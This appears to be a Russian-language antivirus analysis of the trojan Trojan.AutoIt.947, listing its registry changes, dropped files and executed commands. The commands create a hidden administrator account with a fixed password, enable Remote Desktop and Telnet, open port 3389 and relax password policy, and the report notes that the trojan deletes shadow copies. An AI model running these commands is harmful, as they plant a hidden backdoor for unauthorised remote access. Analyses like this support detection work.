Trojan.AutoIt.947

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[HKLM\System\CurrentControlSet\Services\mssqlaq] 'Start' = '00000001'
[HKLM\System\CurrentControlSet\Services\mssqlaq] 'ImagePath' = '<Текущая директория>\ac\mssqlaq.sys'

Создает следующие сервисы

'mssqlaq' <Текущая директория>\ac\mssqlaq.sys

Вредоносные функции

Для затруднения выявления своего присутствия в системе

удаляет теневые копии разделов.

Запускает на исполнение

'%WINDIR%\syswow64\net.exe' user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
'%WINDIR%\syswow64\net.exe' localgroup Administrators systembackup /add
'%WINDIR%\syswow64\net.exe' localgroup "Remote Desktop Users" systembackup /add
'%WINDIR%\syswow64\netsh.exe' firewall add portopening TCP 3389 "Remote Desktop"

Изменения в файловой системе

Создает следующие файлы

<Текущая директория>\ac\nc123.exe
<Текущая директория>\ac\ever\searchhost.exe
<Текущая директория>\ac\ever\everything.ini
<Текущая директория>\ac\systembackup.bat
<Текущая директория>\ac\mssql.exe
<Текущая директория>\ac\mssql2.exe
<Текущая директория>\ac\unlocker.exe
<Текущая директория>\ac\shadow.bat
<Текущая директория>\ac\ever\1saas\1sass.exe
<Текущая директория>\ac\ever\1saas\logdelete.exe
<Текущая директория>\ac\mssqlaq.sys
%WINDIR%\temp\uddd8a2.tmp

Удаляет следующие файлы

%WINDIR%\temp\uddd8a2.tmp
<Текущая директория>\ac\mssqlaq.sys

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''

Создает и запускает на исполнение

'<Текущая директория>\ac\nc123.exe'
'<Текущая директория>\ac\mssql.exe'
'<Текущая директория>\ac\mssql2.exe'
'<Текущая директория>\ac\ever\searchhost.exe'

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\ac\Shadow.bat" "
'%WINDIR%\syswow64\sc.exe' config tlntsvr start=auto
'%WINDIR%\syswow64\attrib.exe' C:\users\systembackup +r +a +s +h
'%WINDIR%\syswow64\reg.exe' add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
'%WINDIR%\syswow64\net1.exe' accounts /forcelogoff:no /maxpwage:unlimited
'%WINDIR%\syswow64\net.exe' accounts /forcelogoff:no /maxpwage:unlimited
'%WINDIR%\syswow64\net1.exe' localgroup "Remote Desktop Users" systembackup /add
'%WINDIR%\syswow64\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-555'" Get Name /Value
'%WINDIR%\syswow64\cmd.exe' /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
'%WINDIR%\syswow64\net1.exe' localgroup Administrators systembackup /add
'%WINDIR%\syswow64\net1.exe' user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
'%WINDIR%\syswow64\find.exe' "="
'%WINDIR%\syswow64\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-544'" Get Name /Value
'%WINDIR%\syswow64\cmd.exe' /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
'%WINDIR%\syswow64\cmd.exe' /c cls
'%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\ac\systembackup.bat" "
'%WINDIR%\syswow64\net.exe' start Telnet
'%WINDIR%\syswow64\net1.exe' start Telnet